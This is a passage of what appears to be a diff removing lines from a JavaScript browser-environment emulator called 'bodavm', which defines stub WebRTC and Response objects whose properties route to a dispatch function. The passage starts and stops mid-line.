"arrayBuffer", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Response', "blob", {configurable:true, enumerable:true, writable:true, value:function blob (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Response'].prototype, "Response", "blob", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Response', "clone", {configurable:true, enumerable:true, writable:true, value:function clone (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Response'].prototype, "Response", "clone", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Response', "formData", {configurable:true, enumerable:true, writable:true, value:function formData (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Response'].prototype, "Response", "formData", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Response', "json", {configurable:true, enumerable:true, writable:true, value:function json (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Response'].prototype, "Response", "json", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Response', "text", {configurable:true, enumerable:true, writable:true, value:function text (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Response'].prototype, "Response", "text", arguments)}},'prototype'); - -// RTCCertificate对象 -bodavm.memory.globalobj['RTCCertificate'] = function RTCCertificate(){if (!(this instanceof RTCCertificate)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['RTCCertificate'], "RTCCertificate"); -bodavm.toolsFunc.defineProperty('RTCCertificate', "expires", {configurable:true, enumerable:true, get:function expires (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCCertificate'].prototype, "RTCCertificate", "expires_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCCertificate', "getFingerprints", {configurable:true, enumerable:true, writable:true, value:function getFingerprints (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCCertificate'].prototype, "RTCCertificate", "getFingerprints", arguments)}},'prototype'); - -// RTCDataChannelEvent对象 -bodavm.memory.globalobj['RTCDataChannelEvent'] = function RTCDataChannelEvent(){if (!(this instanceof RTCDataChannelEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'RTCDataChannelEvent': 2 arguments required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['RTCDataChannelEvent'], "RTCDataChannelEvent"); -bodavm.memory.globalobj['RTCDataChannelEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['RTCDataChannelEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('RTCDataChannelEvent', "channel", {configurable:true, enumerable:true, get:function channel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannelEvent'].prototype, "RTCDataChannelEvent", "channel_get", arguments)}, set:undefined},'prototype'); - -// RTCDtlsTransport对象 -bodavm.memory.globalobj['RTCDtlsTransport'] = function RTCDtlsTransport(){if (!(this instanceof RTCDtlsTransport)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['RTCDtlsTransport'], "RTCDtlsTransport"); -bodavm.memory.globalobj['RTCDtlsTransport'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['RTCDtlsTransport'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('RTCDtlsTransport', "iceTransport", {configurable:true, enumerable:true, get:function iceTransport (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDtlsTransport'].prototype, "RTCDtlsTransport", "iceTransport_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCDtlsTransport', "state", {configurable:true, enumerable:true, get:function state (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDtlsTransport'].prototype, "RTCDtlsTransport", "state_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCDtlsTransport', "onstatechange", {configurable:true, enumerable:true, get:function onstatechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDtlsTransport'].prototype, "RTCDtlsTransport", "onstatechange_get", arguments)}, set:function onstatechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDtlsTransport'].prototype, "RTCDtlsTransport", "onstatechange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCDtlsTransport', "onerror", {configurable:true, enumerable:true, get:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDtlsTransport'].prototype, "RTCDtlsTransport", "onerror_get", arguments)}, set:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDtlsTransport'].prototype, "RTCDtlsTransport", "onerror_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCDtlsTransport', "getRemoteCertificates", {configurable:true, enumerable:true, writable:true, value:function getRemoteCertificates (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDtlsTransport'].prototype, "RTCDtlsTransport", "getRemoteCertificates", arguments)}},'prototype'); - -// RTCDTMFSender对象 -bodavm.memory.globalobj['RTCDTMFSender'] = function RTCDTMFSender(){if (!(this instanceof RTCDTMFSender)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['RTCDTMFSender'], "RTCDTMFSender"); -bodavm.memory.globalobj['RTCDTMFSender'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['RTCDTMFSender'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('RTCDTMFSender', "ontonechange", {configurable:true, enumerable:true, get:function ontonechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDTMFSender'].prototype, "RTCDTMFSender", "ontonechange_get", arguments)}, set:function ontonechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDTMFSender'].prototype, "RTCDTMFSender", "ontonechange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCDTMFSender', "canInsertDTMF", {configurable:true, enumerable:true, get:function canInsertDTMF (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDTMFSender'].prototype, "RTCDTMFSender", "canInsertDTMF_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCDTMFSender', "toneBuffer", {configurable:true, enumerable:true, get:function toneBuffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDTMFSender'].prototype, "RTCDTMFSender", "toneBuffer_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCDTMFSender', "insertDTMF", {configurable:true, enumerable:true, writable:true, value:function insertDTMF (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDTMFSender'].prototype, "RTCDTMFSender", "insertDTMF", arguments)}},'prototype'); - -// RTCDTMFToneChangeEvent对象 -bodavm.memory.globalobj['RTCDTMFToneChangeEvent'] = function RTCDTMFToneChangeEvent(){if (!(this instanceof RTCDTMFToneChangeEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'RTCDTMFToneChangeEvent': 2 arguments required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['RTCDTMFToneChangeEvent'], "RTCDTMFToneChangeEvent"); -bodavm.memory.globalobj['RTCDTMFToneChangeEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['RTCDTMFToneChangeEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('RTCDTMFToneChangeEvent', "tone", {configurable:true, enumerable:true, get:function tone (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDTMFToneChangeEvent'].prototype, "RTCDTMFToneChangeEvent", "tone_get", arguments)}, set:undefined},'prototype'); - -// RTCEncodedAudioFrame对象 -bodavm.memory.globalobj['RTCEncodedAudioFrame'] = function RTCEncodedAudioFrame(){if (!(this instanceof RTCEncodedAudioFrame)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['RTCEncodedAudioFrame'], "RTCEncodedAudioFrame"); -bodavm.toolsFunc.defineProperty('RTCEncodedAudioFrame', "timestamp", {configurable:true, enumerable:true, get:function timestamp (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCEncodedAudioFrame'].prototype, "RTCEncodedAudioFrame", "timestamp_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCEncodedAudioFrame', "data", {configurable:true, enumerable:true, get:function data (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCEncodedAudioFrame'].prototype, "RTCEncodedAudioFrame", "data_get", arguments)}, set:function data (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCEncodedAudioFrame'].prototype, "RTCEncodedAudioFrame", "data_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCEncodedAudioFrame', "getMetadata", {configurable:true, enumerable:true, writable:true, value:function getMetadata (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCEncodedAudioFrame'].prototype, "RTCEncodedAudioFrame", "getMetadata", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCEncodedAudioFrame', "toString", {configurable:true, enumerable:true, writable:true, value:function toString (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCEncodedAudioFrame'].prototype, "RTCEncodedAudioFrame", "toString", arguments)}},'prototype'); - -// RTCEncodedVideoFrame对象 -bodavm.memory.globalobj['RTCEncodedVideoFrame'] = function RTCEncodedVideoFrame(){if (!(this instanceof RTCEncodedVideoFrame)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['RTCEncodedVideoFrame'], "RTCEncodedVideoFrame"); -bodavm.toolsFunc.defineProperty('RTCEncodedVideoFrame', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCEncodedVideoFrame'].prototype, "RTCEncodedVideoFrame", "type_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCEncodedVideoFrame', "timestamp", {configurable:true, enumerable:true, get:function timestamp (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCEncodedVideoFrame'].prototype, "RTCEncodedVideoFrame", "timestamp_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCEncodedVideoFrame', "data", {configurable:true, enumerable:true, get:function data (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCEncodedVideoFrame'].prototype, "RTCEncodedVideoFrame", "data_get", arguments)}, set:function data (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCEncodedVideoFrame'].prototype, "RTCEncodedVideoFrame", "data_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCEncodedVideoFrame', "getMetadata", {configurable:true, enumerable:true, writable:true, value:function getMetadata (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCEncodedVideoFrame'].prototype, "RTCEncodedVideoFrame", "getMetadata", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCEncodedVideoFrame', "toString", {configurable:true, enumerable:true, writable:true, value:function toString (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCEncodedVideoFrame'].prototype, "RTCEncodedVideoFrame", "toString", arguments)}},'prototype'); - -// RTCError对象 -bodavm.memory.globalobj['RTCError'] = function RTCError(){if (!(this instanceof RTCError)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'RTCError': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['RTCError'], "RTCError"); -bodavm.memory.globalobj['RTCError'].prototype.__proto__=bodavm.memory.globalobj['DOMException'].prototype; -bodavm.memory.globalobj['RTCError'].__proto__=bodavm.memory.globalobj['DOMException']; -bodavm.toolsFunc.defineProperty('RTCError', "errorDetail", {configurable:true, enumerable:true, get:function errorDetail (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCError'].prototype, "RTCError", "errorDetail_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCError', "sdpLineNumber", {configurable:true, enumerable:true, get:function sdpLineNumber (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCError'].prototype, "RTCError", "sdpLineNumber_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCError', "httpRequestStatusCode", {configurable:true, enumerable:true, get:function httpRequestStatusCode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCError'].prototype, "RTCError", "httpRequestStatusCode_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCError', "sctpCauseCode", {configurable:true, enumerable:true, get:function sctpCauseCode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCError'].prototype, "RTCError", "sctpCauseCode_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCError', "receivedAlert", {configurable:true, enumerable:true, get:function receivedAlert (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCError'].prototype, "RTCError", "receivedAlert_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCError', "sentAlert", {configurable:true, enumerable:true, get:function sentAlert (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCError'].prototype, "RTCError", "sentAlert_get", arguments)}, set:undefined},'prototype'); - -// RTCErrorEvent对象 -bodavm.memory.globalobj['RTCErrorEvent'] = function RTCErrorEvent(){if (!(this instanceof RTCErrorEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'RTCErrorEvent': 2 arguments required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['RTCErrorEvent'], "RTCErrorEvent"); -bodavm.memory.globalobj['RTCErrorEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['RTCErrorEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('RTCErrorEvent', "error", {configurable:true, enumerable:true, get:function error (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCErrorEvent'].prototype, "RTCErrorEvent", "error_get", arguments)}, set:undefined},'prototype'); - -// RTCIceCandidate对象 -bodavm.memory.globalobj['RTCIceCandidate'] = function RTCIceCandidate(){if (!(this instanceof RTCIceCandidate)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'RTCIceCandidate': sdpMid and sdpMLineIndex are both null.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['RTCIceCandidate'], "RTCIceCandidate"); -bodavm.toolsFunc.defineProperty('RTCIceCandidate', "candidate", {configurable:true, enumerable:true, get:function candidate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCIceCandidate'].prototype, "RTCIceCandidate", "candidate_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCIceCandidate', "sdpMid", {configurable:true, enumerable:true, get:function sdpMid (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCIceCandidate'].prototype, "RTCIceCandidate", "sdpMid_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCIceCandidate', "sdpMLineIndex", {configurable:true, enumerable:true, get:function sdpMLineIndex (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCIceCandidate'].prototype, "RTCIceCandidate", "sdpMLineIndex_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCIceCandidate', "foundation", {configurable:true, enumerable:true, get:function foundation (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCIceCandidate'].prototype, "RTCIceCandidate", "foundation_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCIceCandidate', "component", {configurable:true, enumerable:true, get:function component (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCIceCandidate'].prototype, "RTCIceCandidate", "component_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCIceCandidate', "priority", {configurable:true, enumerable:true, get:function priority (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCIceCandidate'].prototype, "RTCIceCandidate", "priority_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCIceCandidate', "address", {configurable:true, enumerable:true, get:function address (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCIceCandidate'].prototype, "RTCIceCandidate", "address_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCIceCandidate', "protocol", {configurable:true, enumerable:true, get:function protocol (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCIceCandidate'].prototype, "RTCIceCandidate", "protocol_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCIceCandidate', "port", {configurable:true, enumerable:true, get:function port (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCIceCandidate'].prototype, "RTCIceCandidate", "port_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCIceCandidate', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCIceCandidate'].prototype, "RTCIceCandidate", "type_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCIceCandidate', "tcpType", {configurable:true, enumerable:true, get:function tcpType (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCIceCandidate'].prototype, "RTCIceCandidate", "tcpType_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCIceCandidate', "relatedAddress", {configurable:true, enumerable:true, get:function relatedAddress (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCIceCandidate'].prototype, "RTCIceCandidate", "relatedAddress_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCIceCandidate', "relatedPort", {configurable:true, enumerable:true, get:function relatedPort (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCIceCandidate'].prototype, "RTCIceCandidate", "relatedPort_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCIceCandidate', "usernameFragment", {configurable:true, enumerable:true, get:function usernameFragment (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCIceCandidate'].prototype, "RTCIceCandidate", "usernameFragment_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCIceCandidate', "toJSON", {configurable:true, enumerable:true, writable:true, value:function toJSON (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCIceCandidate'].prototype, "RTCIceCandidate", "toJSON", arguments)}},'prototype'); - -// RTCIceTransport对象 -bodavm.memory.globalobj['RTCIceTransport'] = function RTCIceTransport(){if (!(this instanceof RTCIceTransport)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['RTCIceTransport'], "RTCIceTransport"); -bodavm.memory.globalobj['RTCIceTransport'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['RTCIceTransport'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('RTCIceTransport', "role", {configurable:true, enumerable:true, get:function role (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCIceTransport'].prototype, "RTCIceTransport", "role_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCIceTransport', "state", {configurable:true, enumerable:true, get:function state (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCIceTransport'].prototype, "RTCIceTransport", "state_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCIceTransport', "gatheringState", {configurable:true, enumerable:true, get:function gatheringState (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCIceTransport'].prototype, "RTCIceTransport", "gatheringState_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCIceTransport', "onstatechange", {configurable:true, enumerable:true, get:function onstatechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCIceTransport'].prototype, "RTCIceTransport", "onstatechange_get", arguments)}, set:function onstatechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCIceTransport'].prototype, "RTCIceTransport", "onstatechange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCIceTransport', "ongatheringstatechange", {configurable:true, enumerable:true, get:function ongatheringstatechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCIceTransport'].prototype, "RTCIceTransport", "ongatheringstatechange_get", arguments)}, set:function ongatheringstatechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCIceTransport'].prototype, "RTCIceTransport", "ongatheringstatechange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCIceTransport', "onselectedcandidatepairchange", {configurable:true, enumerable:true, get:function onselectedcandidatepairchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCIceTransport'].prototype, "RTCIceTransport", "onselectedcandidatepairchange_get", arguments)}, set:function onselectedcandidatepairchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCIceTransport'].prototype, "RTCIceTransport", "onselectedcandidatepairchange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCIceTransport', "getLocalCandidates", {configurable:true, enumerable:true, writable:true, value:function getLocalCandidates (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCIceTransport'].prototype, "RTCIceTransport", "getLocalCandidates", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCIceTransport', "getLocalParameters", {configurable:true, enumerable:true, writable:true, value:function getLocalParameters (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCIceTransport'].prototype, "RTCIceTransport", "getLocalParameters", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCIceTransport', "getRemoteCandidates", {configurable:true, enumerable:true, writable:true, value:function getRemoteCandidates (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCIceTransport'].prototype, "RTCIceTransport", "getRemoteCandidates", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCIceTransport', "getRemoteParameters", {configurable:true, enumerable:true, writable:true, value:function getRemoteParameters (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCIceTransport'].prototype, "RTCIceTransport", "getRemoteParameters", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCIceTransport', "getSelectedCandidatePair", {configurable:true, enumerable:true, writable:true, value:function getSelectedCandidatePair (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCIceTransport'].prototype, "RTCIceTransport", "getSelectedCandidatePair", arguments)}},'prototype'); - -// RTCPeerConnectionIceErrorEvent对象 -bodavm.memory.globalobj['RTCPeerConnectionIceErrorEvent'] = function RTCPeerConnectionIceErrorEvent(){if (!(this instanceof RTCPeerConnectionIceErrorEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'RTCPeerConnectionIceErrorEvent': 2 arguments required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['RTCPeerConnectionIceErrorEvent'], "RTCPeerConnectionIceErrorEvent"); -bodavm.memory.globalobj['RTCPeerConnectionIceErrorEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['RTCPeerConnectionIceErrorEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('RTCPeerConnectionIceErrorEvent', "address", {configurable:true, enumerable:true, get:function address (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnectionIceErrorEvent'].prototype, "RTCPeerConnectionIceErrorEvent", "address_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCPeerConnectionIceErrorEvent', "port", {configurable:true, enumerable:true, get:function port (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnectionIceErrorEvent'].prototype, "RTCPeerConnectionIceErrorEvent", "port_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCPeerConnectionIceErrorEvent', "hostCandidate", {configurable:true, enumerable:true, get:function hostCandidate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnectionIceErrorEvent'].prototype, "RTCPeerConnectionIceErrorEvent", "hostCandidate_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCPeerConnectionIceErrorEvent', "url", {configurable:true, enumerable:true, get:function url (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnectionIceErrorEvent'].prototype, "RTCPeerConnectionIceErrorEvent", "url_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCPeerConnectionIceErrorEvent', "errorCode", {configurable:true, enumerable:true, get:function errorCode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnectionIceErrorEvent'].prototype, "RTCPeerConnectionIceErrorEvent", "errorCode_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCPeerConnectionIceErrorEvent', "errorText", {configurable:true, enumerable:true, get:function errorText (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnectionIceErrorEvent'].prototype, "RTCPeerConnectionIceErrorEvent", "errorText_get", arguments)}, set:undefined},'prototype'); - -// RTCPeerConnectionIceEvent对象 -bodavm.memory.globalobj['RTCPeerConnectionIceEvent'] = function RTCPeerConnectionIceEvent(){if (!(this instanceof RTCPeerConnectionIceEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'RTCPeerConnectionIceEvent': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['RTCPeerConnectionIceEvent'], "RTCPeerConnectionIceEvent"); -bodavm.memory.globalobj['RTCPeerConnectionIceEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['RTCPeerConnectionIceEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('RTCPeerConnectionIceEvent', "candidate", {configurable:true, enumerable:true, get:function candidate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnectionIceEvent'].prototype, "RTCPeerConnectionIceEvent", "candidate_get", arguments)}, set:undefined},'prototype'); - -// RTCRtpReceiver对象 -bodavm.memory.globalobj['RTCRtpReceiver'] = function RTCRtpReceiver(){if (!(this instanceof RTCRtpReceiver)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['RTCRtpReceiver'], "RTCRtpReceiver"); -bodavm.toolsFunc.defineProperty('RTCRtpReceiver', "getCapabilities", {configurable:true, enumerable:true, writable:true, value:function getCapabilities (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpReceiver'].undefined, "RTCRtpReceiver", "getCapabilities", arguments)}}); -bodavm.toolsFunc.defineProperty('RTCRtpReceiver', "track", {configurable:true, enumerable:true, get:function track (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpReceiver'].prototype, "RTCRtpReceiver", "track_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCRtpReceiver', "transport", {configurable:true, enumerable:true, get:function transport (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpReceiver'].prototype, "RTCRtpReceiver", "transport_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCRtpReceiver', "rtcpTransport", {configurable:true, enumerable:true, get:function rtcpTransport (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpReceiver'].prototype, "RTCRtpReceiver", "rtcpTransport_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCRtpReceiver', "playoutDelayHint", {configurable:true, enumerable:true, get:function playoutDelayHint (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpReceiver'].prototype, "RTCRtpReceiver", "playoutDelayHint_get", arguments)}, set:function playoutDelayHint (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpReceiver'].prototype, "RTCRtpReceiver", "playoutDelayHint_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCRtpReceiver', "createEncodedStreams", {configurable:true, 